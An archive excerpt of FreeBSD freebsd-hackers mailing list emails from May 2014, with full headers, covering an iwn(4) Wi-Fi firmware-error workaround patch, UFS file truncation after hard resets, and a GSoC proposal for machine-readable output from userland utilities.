bg0KPiBhdHRlbXB0aW5nIHRvIHVwZGF0ZSB0aGUgYXRpbWUgb24gdGhlIGZpbGVzLg0KPg0KPiBU d28gc3VnZ2VzdGlvbnM6ICB0dXJuIG9mZiBhdGltZXMsIG1ha2Ugc3VyZSBhbnkgd3JpdGUtY2Fj aGUNCj4gb24geW91ciBoYXJkZGlzayhzKSBpcy9hcmUgdHVybmVkIG9mZi4NCj4NCj4gLUt1cnQN Cg0KT3V0IG9mIGN1cmlvc2l0eSwgYXJlIHlvdSB1c2luZyBTU0RzLCBvciB2YW5pbGxhIGhhcmQg ZGlza3M/IFNTRHMgaGF2ZSBjcmVhdGl2ZSBuZXcgZmFpbHVyZSBtb2RlcyBkdXJpbmcgc2h1dGRv d24gd2hpY2ggY291bGQgYWNjb3VudCBmb3Igc29tZXRoaW5nIGxpa2UgdGhpcy4NCg0KSWYgeW91 IGFyZSB1c2luZyBTU0RzLCBiZSBhYnNvbHV0ZWx5IHN1cmUgYXRpbWVzIGFyZSB0dXJuZWQgb2Zm LCB0aGlzIHdpbGwga2lsbCB0aGUgd3JpdGUgY3ljbGVzIHF1aWNrbHkuIEFsc28sIGRvZXMgdGhl IG5ldyBBVEEgZHJpdmVyIHNlbmQgU1RBTkRCWV9JTU1FRElBVEUgdG8gdGhlIGRyaXZlIG9uIHNo dXRkb3duPyBPdXIgb2xkIHZlcnNpb24gb2YgRnJlZUJTRCBkaWQgbm90LCBub3Qgc3VyZSBpZiB0 aGF0J3MgYmVlbiBmaXhlZCBpbiB0aGUgbGFzdCBjb3VwbGUgb2YgeWVhcnMuDQoNCi4uLi4uLi4u Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLg0KQW5kcmV3IEwuIER1YW5lDQptwqDCoMKgKzEg NjAzLjc3MC43MDg4DQpvICAgICsxIDQwOC45MzMuNjk0NCAoMi02OTQ0KQ0Kc2t5cGU6IGFuZHJl d2xkdWFuZQ0KYWR1YW5lQGp1bmlwZXIubmV0DQoNCg0KDQo= From owner-freebsd-hackers@FreeBSD.ORG Mon May 19 18:38:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0FD30580 for ; Mon, 19 May 2014 18:38:09 +0000 (UTC) Received: from mail-ee0-x22a.google.com (mail-ee0-x22a.google.com [IPv6:2a00:1450:4013:c00::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 2046C28D4 for ; Mon, 19 May 2014 18:38:08 +0000 (UTC) Received: by mail-ee0-f42.google.com with SMTP id d49so3949565eek.29 for ; Mon, 19 May 2014 11:38:07 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:subject:mime-version:content-type:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=jI4eaNdarH7HgpRUGnmuP2TpF2HsSea6Q6SEH/9SSEM=; b=W5UEPropHUw6sSxLAEOILT63Rgy4G7FqHXV/Cr4QGPBWgBmREHAVHWvH8al4u1FVoN RzQXkNtJeZoPkw560ijvLzaHa9QB/qPIoVJ3wF8xlnEoFjI3wIByzzNPpWSx3/HBE015 ZKfIOXAo90VwQNfN8rb47gms6wVB+0ovfHs5fy6+ga5XK/KsoVI7LC6csjUFIeEc7kxR aFcl2pF1Uf7nYxnLjPEdsNhGJsRlgRpK9hiJgzxKGbLbOzwU0yVCsowxJQbZH5MS74+6 xM2kpZ41jUOh3BbPaWSPyFRo2ET3ZCj1jH7rlceS5Tkq5R9XUvF1/MKTpcTt8g5CYwf9 1SDA== X-Received: by 10.14.5.71 with SMTP id 47mr6507068eek.101.1400524687262; Mon, 19 May 2014 11:38:07 -0700 (PDT) Received: from strashydlo.home (actm36.neoplus.adsl.tpnet.pl. [83.11.66.36]) by mx.google.com with ESMTPSA id m44sm43690167eep.6.2014.05.19.11.38.06 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 19 May 2014 11:38:06 -0700 (PDT) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= Subject: Re: Workaround for "fatal firmware error" iwn(4) problem. Mime-Version: 1.0 (Apple Message framework v1283) Content-Type: text/plain; charset=iso-8859-2 From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= In-Reply-To: Date: Mon, 19 May 2014 20:38:05 +0200 Content-Transfer-Encoding: quoted-printable Message-Id: <6AA5A8C5-F105-4806-AF94-A4D0064DBF9B@freebsd.org> References: <8FB7D6BF-005A-41A1-9DCE-C8B09EA338EE@FreeBSD.org> To: =?iso-8859-2?Q?Olivier_Cochard-Labb=E9?= X-Mailer: Apple Mail (2.1283) Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 19 May 2014 18:38:10 -0000 Wiadomo=B6=E6 napisana przez Olivier Cochard-Labb=E9 w dniu 18 maj 2014, = o godz. 15:57: > On Fri, May 16, 2014 at 8:06 PM, Edward Tomasz Napiera=B3a = wrote: > I've started using FreeBSD laptop and iwn(4) failing at random moments > like this... >=20 > I had the same problem too with iwn(4).=20 >=20 > ... has been driving me crazy, so I wrote a workaround. The patch > can be found here: >=20 > http://people.freebsd.org/~trasz/iwn.diff >=20 >=20 > I've tested you patch on a r266396, but it generate a panic: [..] Thanks! Can you test with this one: http://people.freebsd.org/~trasz/iwn3.diff From owner-freebsd-hackers@FreeBSD.ORG Mon May 19 21:32:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AC9E9A5C; Mon, 19 May 2014 21:32:45 +0000 (UTC) Received: from mail-vc0-x236.google.com (mail-vc0-x236.google.com [IPv6:2607:f8b0:400c:c03::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 56B382A88; Mon, 19 May 2014 21:32:45 +0000 (UTC) Received: by mail-vc0-f182.google.com with SMTP id la4so10576649vcb.27 for ; Mon, 19 May 2014 14:32:43 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:cc:content-type; bh=Oj9vrR/sxfvBMFP1OnssbQmKAUMrllGCz6sfcsFtaI8=; b=lUPn8VB1PB+6IpRtK4EfmfJ4V6pJWNBw4y2AP7rWj2d99LC6WIPfT5Rf/5n523Gwyc XYT7ywA2tl4QIf3F77q4xqNwVl4tBEfnj1MEj0O7OpAR8W7hh551KaJD75QPZSiyqGhc KU9yiw7ZBkQ3nbykmTdZRMOVzsrtZN84jWUOXsuHbfhU7s6Vv44lojtU4bROom6wDGfc rMxuO8vuNqJBxAVkqjKGtSQsGDTOvXufPtvDO4UydbJREefAJ7YU7zWo+oH4cSA+yWtB U2J4Evs5Ubzv+kh/T9RYSypDloO9dHD4aW3jGV7+4Z9C3Ew2kenzMAbuhvMJHXZBYLhB JpWw== X-Received: by 10.52.94.47 with SMTP id cz15mr309429vdb.0.1400535163709; Mon, 19 May 2014 14:32:43 -0700 (PDT) MIME-Version: 1.0 Sender: cochard@gmail.com Received: by 10.58.2.225 with HTTP; Mon, 19 May 2014 14:32:23 -0700 (PDT) In-Reply-To: <6AA5A8C5-F105-4806-AF94-A4D0064DBF9B@freebsd.org> References: <8FB7D6BF-005A-41A1-9DCE-C8B09EA338EE@FreeBSD.org> <6AA5A8C5-F105-4806-AF94-A4D0064DBF9B@freebsd.org> From: =?ISO-8859-1?Q?Olivier_Cochard=2DLabb=E9?= Date: Mon, 19 May 2014 23:32:23 +0200 X-Google-Sender-Auth: 9gm4bqv0SR0BCXoIwh1juOJl2E0 Message-ID: Subject: Re: Workaround for "fatal firmware error" iwn(4) problem. To: =?ISO-8859-2?Q?Edward_Tomasz_Napiera=B3a?= Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 19 May 2014 21:32:45 -0000 On Mon, May 19, 2014 at 8:38 PM, Edward Tomasz Napiera=C5=82a wrote: > > Thanks! Can you test with this one: > > http://people.freebsd.org/~trasz/iwn3.diff > A lot's better ! Now it reset correctly iwn without generate a panic. Thanks, Olivier From owner-freebsd-hackers@FreeBSD.ORG Tue May 20 15:57:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 32FBEE73 for ; Tue, 20 May 2014 15:57:19 +0000 (UTC) Received: from mail-ie0-x242.google.com (mail-ie0-x242.google.com [IPv6:2607:f8b0:4001:c03::242]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 0797823F5 for ; Tue, 20 May 2014 15:57:18 +0000 (UTC) Received: by mail-ie0-f194.google.com with SMTP id tp5so193472ieb.1 for ; Tue, 20 May 2014 08:57:18 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=J/fwCbiIYdTtwgghBqcfgoV5KQnCOnsZjlDVNDzsIFs=; b=fzIqdqWhsohcM0BsD2LypdofZd4x2xHTyWcr2aw5JwHmWYZs38hEAbPXyTSzraiGJk HYXfqaJabJtpiUlrUb0tdT1BzGR+0B225Fn0g2gwRQmgJA5oDH5LE9G3xJKV2J6YBG0r GpNHqvRcaGSbLMf9XjkuoiPFJQeBX0xwdj4jHmNf4N5Bq34mhGtjP8qUIZ6eKiTHHmNh hqhCMiqLwPBQqT8TCcUUO3RRjLyAjKtfoiZkuAOSFf+o3J48M0EW6O+EhSSMNowjTVsD +RVss5XvCnAle215qtyQQhfqms++7xtpasCEtspjBEyrOcYlVHxEYDGX7l3QpiUKtUN5 pgnQ== MIME-Version: 1.0 X-Received: by 10.50.82.105 with SMTP id h9mr6235715igy.6.1400601438256; Tue, 20 May 2014 08:57:18 -0700 (PDT) Received: by 10.64.250.101 with HTTP; Tue, 20 May 2014 08:57:18 -0700 (PDT) Date: Tue, 20 May 2014 08:57:18 -0700 Message-ID: Subject: Re: hard reset impacts on ufs file system From: Dieter BSD To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 20 May 2014 15:57:19 -0000 >> Hard reset examined on freebsd 8.3. after reboot libncurses.so.8 was 0 >> byte. Are there any complaints in /var/log/* ? e.g. from fsck, or about the disk/controller? > My original guess as to why this seemed to always happen to > libraries was that the system damaged their entries when > attempting to update the atime on the files. Plenty of other files get accessed, and thus their atimes updated. If this is common for libraries but not other files, then the cause is likely something else. I've been using FFS since 1984 and I don't recall ever seeing a file get truncated to 0 length. SCSI, PATA, SATA, and those horrid USB-to- *ATA bridges that do not let you turn off the disk's write cache. Note that PATA does not do error checking on the address, so it can in theory write the correct data to the wrong sector. No SSD. Never turned off atime. From owner-freebsd-hackers@FreeBSD.ORG Tue May 20 17:00:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5D25B5C0 for ; Tue, 20 May 2014 17:00:00 +0000 (UTC) Received: from mx1.mail.bg (mx1.mail.bg [IPv6:2001:67c:16b8:1::2:17]) by mx1.freebsd.org (Postfix) with ESMTP id 19C9929DC for ; Tue, 20 May 2014 17:00:00 +0000 (UTC) Received: from [10.1.1.159] (unknown [95.87.254.225]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by mx1.mail.bg (Postfix) with ESMTPSA id 52D2E60005E3 for ; Tue, 20 May 2014 19:59:54 +0300 (EEST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=mail.bg; s=default; t=1400605197; bh=7K8/6jIHIk4Ro3uHVjJ8Wqv7iF/MY/LiQURlJvM46k8=; h=From:Content-Type:Content-Transfer-Encoding:Subject:Date: Message-Id:To:Mime-Version; b=hZwBuFiwfosfw/SErY5BKCQJvcSUGNkW3pOtUzydHagLO5hCSCqEk6Wdff7nU0AJ0 2pdkPQ5fQXhIiVh2edxjLtrvBtuhD7PtRxwGpLULzRVMTwet/iYUzFIEfZMYhvGBPn M1VVu8H5JYTO57AT5w+AcNclqmMI/hQu0+rDB6a4= From: Zaro Korchev Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: [GSoC] Machine readable output from userland utilities Date: Tue, 20 May 2014 19:59:43 +0300 Message-Id: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> To: freebsd-hackers@freebsd.org Mime-Version: 1.0 (Apple Message framework v1283) X-Mailer: Apple Mail (2.1283) X-Mailman-Approved-At: Tue, 20 May 2014 17:44:13 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 20 May 2014 17:00:00 -0000 I'm working on the project "Machine readable output from userland = utilities" and I want to share my ideas and thoughts. Here is the wiki page of the project: = https://wiki.freebsd.org/SummerOfCode2014/MachineReadableFromUserlandUtils= I'm planning to create a unified output abstraction in the form of a = library. The tools supporting the machine-readable output feature will = write output exclusively using the library. The exact output format will = be customizable. Several backend libraries (like libucl and libnv) can = be used to implement different formats. Such library can either be compiled statically into each application or = linked dynamically (depending on space/performance/versioning and other = considerations). Each tool will have to be modified to support the new output mechanism. = These modifications could trivially be turned on and off using a macro = switch. One issue that must be considered is how to manage long outputs since it = may not be possible to store all data in memory. This would happen = rarely but can still be a problem. Probably the easiest way to solve = this is to add streamed dumping capability into the underlying = libraries. Do you have any suggestions or ideas? Thank you, Zaro= From owner-freebsd-hackers@FreeBSD.ORG Tue May 20 19:22:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C7BE72FF for ; Tue, 20 May 2014 19:22:02 +0000 (UTC) Received: from mail-qg0-x22a.google.com (mail-qg0-x22a.google.com [IPv6:2607:f8b0:400d:c04::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 88CF027F8 for ; Tue, 20 May 2014 19:22:02 +0000 (UTC) Received: by mail-qg0-f42.google.com with SMTP id q107so1526255qgd.15 for ; Tue, 20 May 2014 12:22:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type:content-transfer-encoding; bh=oKf2YfN/XhFrel8S0Ypn0YmXlkKCQ42Ki/s926KgmcQ=; b=ft1Kbw+wpTY93NEu7tlp5KBSVGJVbM/XCFjq2NNwgg/S+PM3gpTYuhrH8DhypdQpqU aE2YGRdmTPTp0zxyjA25z64e49qZ3wEqp/Amch/n0vGmsh7kBpRwaTsH+3Y5FHrXYd4D raSCsiOAORmCgfNi7ACsQnliEwF10KAIglE+EkJx6dDw6mwstUNieZtI6vttsBKhwewF rHyUdSvVBBd70Y0F/KbVKZ/KzLvEV1uBo1SzY1GcCGMeYJCQMJCvU/exJ1lJWdLb3nxc CbeOuVpwcU/ED77dpzCYx0HhQ5ghzp6RhIDiaF1ay/wEYt7hBVdRaC+SpNMTM8Nn/2tv q+aw== MIME-Version: 1.0 X-Received: by 10.229.198.2 with SMTP id em2mr53118854qcb.21.1400613721713; Tue, 20 May 2014 12:22:01 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.191.201 with HTTP; Tue, 20 May 2014 12:22:01 -0700 (PDT) In-Reply-To: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> Date: Tue, 20 May 2014 12:22:01 -0700 X-Google-Sender-Auth: GogpUvLAcAtUveKLFY5jv5niTi4 Message-ID: Subject: Re: [GSoC] Machine readable output from userland utilities From: Adrian Chadd To: Zaro Korchev Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 20 May 2014 19:22:02 -0000 Hi! So I imported libstatfoo from Sam Leffler into base, specifically for this kind of purpose. What I'd like to do is extend this and incorporate it into existing tools like vmstat, iostat and such. That way we can then just teach libstatfoo about XML, or JSON - and then the tools all inherit it. -a On 20 May 2014 09:59, Zaro Korchev wrote: > I'm working on the project "Machine readable output from userland utiliti= es" and I want to share my ideas and thoughts. > > Here is the wiki page of the project: > https://wiki.freebsd.org/SummerOfCode2014/MachineReadableFromUserlandUtil= s > > I'm planning to create a unified output abstraction in the form of a libr= ary. The tools supporting the machine-readable output feature will write ou= tput exclusively using the library. The exact output format will be customi= zable. Several backend libraries (like libucl and libnv) can be used to imp= lement different formats. > Such library can either be compiled statically into each application or l= inked dynamically (depending on space/performance/versioning and other cons= iderations). > Each tool will have to be modified to support the new output mechanism. T= hese modifications could trivially be turned on and off using a macro switc= h. > One issue that must be considered is how to manage long outputs since it = may not be possible to store all data in memory. This would happen rarely b= ut can still be a problem. Probably the easiest way to solve this is to add= streamed dumping capability into the underlying libraries. > > Do you have any suggestions or ideas? > > > Thank you, > Zaro > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " From owner-freebsd-hackers@FreeBSD.ORG Tue May 20 20:43:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 76553D56 for ; Tue, 20 May 2014 20:43:04 +0000 (UTC) Received: from csmtp7.one.com (csmtp7.one.com [195.47.247.107]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 376A920C1 for ; Tue, 20 May 2014 20:43:04 +0000 (UTC) Received: from bigmac.router9fbd7c.com (unknown [176.222.238.90]) by csmtp7.one.com (Postfix) with ESMTPA id 87CF8400000AF for ; Tue, 20 May 2014 20:33:02 +0000 (UTC) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: [GSoC] Machine readable output from userland utilities From: Erik Cederstrand In-Reply-To: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> Date: Tue, 20 May 2014 22:33:01 +0200 Cc: freebsd-hackers@freebsd.org Content-Transfer-Encoding: quoted-printable Message-Id: <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> X-Mailer: Apple Mail (2.1878.2) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 20 May 2014 20:43:04 -0000 Den 20/05/2014 kl. 18.59 skrev Zaro Korchev : > I'm working on the project "Machine readable output from userland = utilities" and I want to share my ideas and thoughts. >=20 > [...] > Do you have any suggestions or ideas? Microsoft PowerShell does something similar. They print human-readable = output to the shell, but pass C# (I think) object instances along when = piping data to other utilities. The idea of separating formatting from = data is good, but it also leads to insanity because what you see is = never what is passed on to the next utility. The utilities need to = support the filtering and processing you would otherwise do with awk, = grep, sed etc., and you need to look up two manual pages - one for the = human output, and one for the C# models. Also, you can only combine = utilities that were meant to be combined. This is a huge loss of = flexibility compared to what I'm used to from UNIX. Has anyone given general thought to where the "Machine readable output = from userland utilities" idea is headed? In particular, what should = happen if I stick a pipe at the end of a command? Do we want utilities = to understand XML/JSON for input, too? So for example 'rm' understands = JSON from 'ls'. Unless this was really smart thought out, only tools = that were prepared to work together would be able to do so, and you = would need to look up which utilities work together. Even if we leave input alone and focus on output, we might want to let = sed, grep, awk and friends understand JSON/XML input so we can e.g. use = XPath syntax to grep for certain elements in XML output, or filter = certain JSON elements from the output. At least I think FreeBSD should = gain command-line tools that offer at a subset of the JSON and XML = functionality that e.g. Python offers when working with these data = formats. Using simple awk and grep with these formats would be regex = madness. I've had long hours fighting with grep, awk and others to get simple = scripts to behave properly due to the machine-unfriendly format of some = tools, so I really like the idea of machine-readable output. sysctl = offers some good examples of do's and dont's in this regard, and I feel = that the concept of machine readability needs to be thought through very = carefully to be exactly as awesome as when I first started grep'ing, = awk'ing, sed'ing and piping my way through the UNIX shell. Erik= From owner-freebsd-hackers@FreeBSD.ORG Wed May 21 04:19:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4CA12B18 for ; Wed, 21 May 2014 04:19:28 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 2D4F825D9 for ; Wed, 21 May 2014 04:19:27 +0000 (UTC) Received: from u10-2-16-025.office.norse-data.com (unknown [50.204.88.51]) by elvis.mu.org (Postfix) with ESMTPSA id 801871A3C19; Tue, 20 May 2014 21:19:27 -0700 (PDT) Message-ID: <537C2993.1060206@mu.org> Date: Tue, 20 May 2014 21:20:35 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Erik Cederstrand Subject: Re: [GSoC] Machine readable output from userland utilities References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> In-Reply-To: <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 May 2014 04:19:28 -0000 On 5/20/14, 1:33 PM, Erik Cederstrand wrote: > Den 20/05/2014 kl. 18.59 skrev Zaro Korchev : > >> I'm working on the project "Machine readable output from userland utilities" and I want to share my ideas and thoughts. >> >> [...] >> Do you have any suggestions or ideas? > Microsoft PowerShell does something similar. They print human-readable output to the shell, but pass C# (I think) object instances along when piping data to other utilities. The idea of separating formatting from data is good, but it also leads to insanity because what you see is never what is passed on to the next utility. The utilities need to support the filtering and processing you would otherwise do with awk, grep, sed etc., and you need to look up two manual pages - one for the human output, and one for the C# models. Also, you can only combine utilities that were meant to be combined. This is a huge loss of flexibility compared to what I'm used to from UNIX. > > Has anyone given general thought to where the "Machine readable output from userland utilities" idea is headed? In particular, what should happen if I stick a pipe at the end of a command? Do we want utilities to understand XML/JSON for input, too? So for example 'rm' understands JSON from 'ls'. Unless this was really smart thought out, only tools that were prepared to work together would be able to do so, and you would need to look up which utilities work together. > > Even if we leave input alone and focus on output, we might want to let sed, grep, awk and friends understand JSON/XML input so we can e.g. use XPath syntax to grep for certain elements in XML output, or filter certain JSON elements from the output. At least I think FreeBSD should gain command-line tools that offer at a subset of the JSON and XML functionality that e.g. Python offers when working with these data formats. Using simple awk and grep with these formats would be regex madness. > > I've had long hours fighting with grep, awk and others to get simple scripts to behave properly due to the machine-unfriendly format of some tools, so I really like the idea of machine-readable output. sysctl offers some good examples of do's and dont's in this regard, and I feel that the concept of machine readability needs to be thought through very carefully to be exactly as awesome as when I first started grep'ing, awk'ing, sed'ing and piping my way through the UNIX shell. > Basically the idea would be to write a simple tool that is able to extract using an xpath or json selector. Example (very rough code): ifconfig --output xml | selector --format xml --path /name --path /name/etheraddr | \ while read name ether ; do echo "Interface $name has hardware address $ether" ; done In all seriousness though, the real target is people writing higher level languages (than shell) on top of FreeBSD. Perhaps python or ruby spawning a utility and then that utility making the output easy to read. One thing to note is that the output should not just be formatted but normalized as well. The fact that "uptime" can emit 15 different formats for the uptime string is terrible for people coding on top of the base utils, the json/xml/other output should be decided on some form of normalized data likely in seconds + microseconds or something, but anything truly machine readable is better than the current output when popen'd by a webapp. -Alfred From owner-freebsd-hackers@FreeBSD.ORG Wed May 21 04:56:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C139EEC0 for ; Wed, 21 May 2014 04:56:13 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 37C8F2832 for ; Wed, 21 May 2014 04:56:12 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s4L4wA9R034051; Tue, 20 May 2014 21:58:16 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s4L4w4Vo034045; Tue, 20 May 2014 21:58:04 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from udns.ultimatedns.net ([209.180.214.225]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Tue, 20 May 2014 21:58:04 -0700 (PDT) Message-ID: In-Reply-To: <537C2993.1060206@mu.org> References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <91FE2526-F21C-42AB-BECB-058DBA975A9E@cederstrand.dk> <537C2993.1060206@mu.org> Date: Tue, 20 May 2014 21:58:04 -0700 (PDT) Subject: Re: [GSoC] Machine readable output from userland utilities From: "Chris H" To: "Alfred Perlstein" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: freebsd-hackers@freebsd.org, Erik Cederstrand X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 21 May 2014 04:56:13 -0000 > > On 5/20/14, 1:33 PM, Erik Cederstrand wrote: >> Den 20/05/2014 kl. 18.59 skrev Zaro Korchev : >> >>> I'm working on the project "Machine readable output from userland utilities" and I want >>> to share my ideas and thoughts. >>> >>> [...] >>> Do you have any suggestions or ideas? >> Microsoft PowerShell does something similar. They print human-readable output to the >> shell, but pass C# (I think) object instances along when piping data to other utilities. >> The idea of separating formatting from data is good, but it also leads to insanity because >> what you see is never what is passed on to the next utility. The utilities need to support >> the filtering and processing you would otherwise do with awk, grep, sed etc., and you need >> to look up two manual pages - one for the human output, and one for the C# models. Also, >> you can only combine utilities that were meant to be combined. This is a huge loss of >> flexibility compared to what I'm used to from UNIX. >> >> Has anyone given general thought to where the "Machine readable output from userland >> utilities" idea is headed? In particular, what should happen if I stick a pipe at the end >> of a command? Do we want utilities to understand XML/JSON for input, too? So for example >> 'rm' understands JSON from 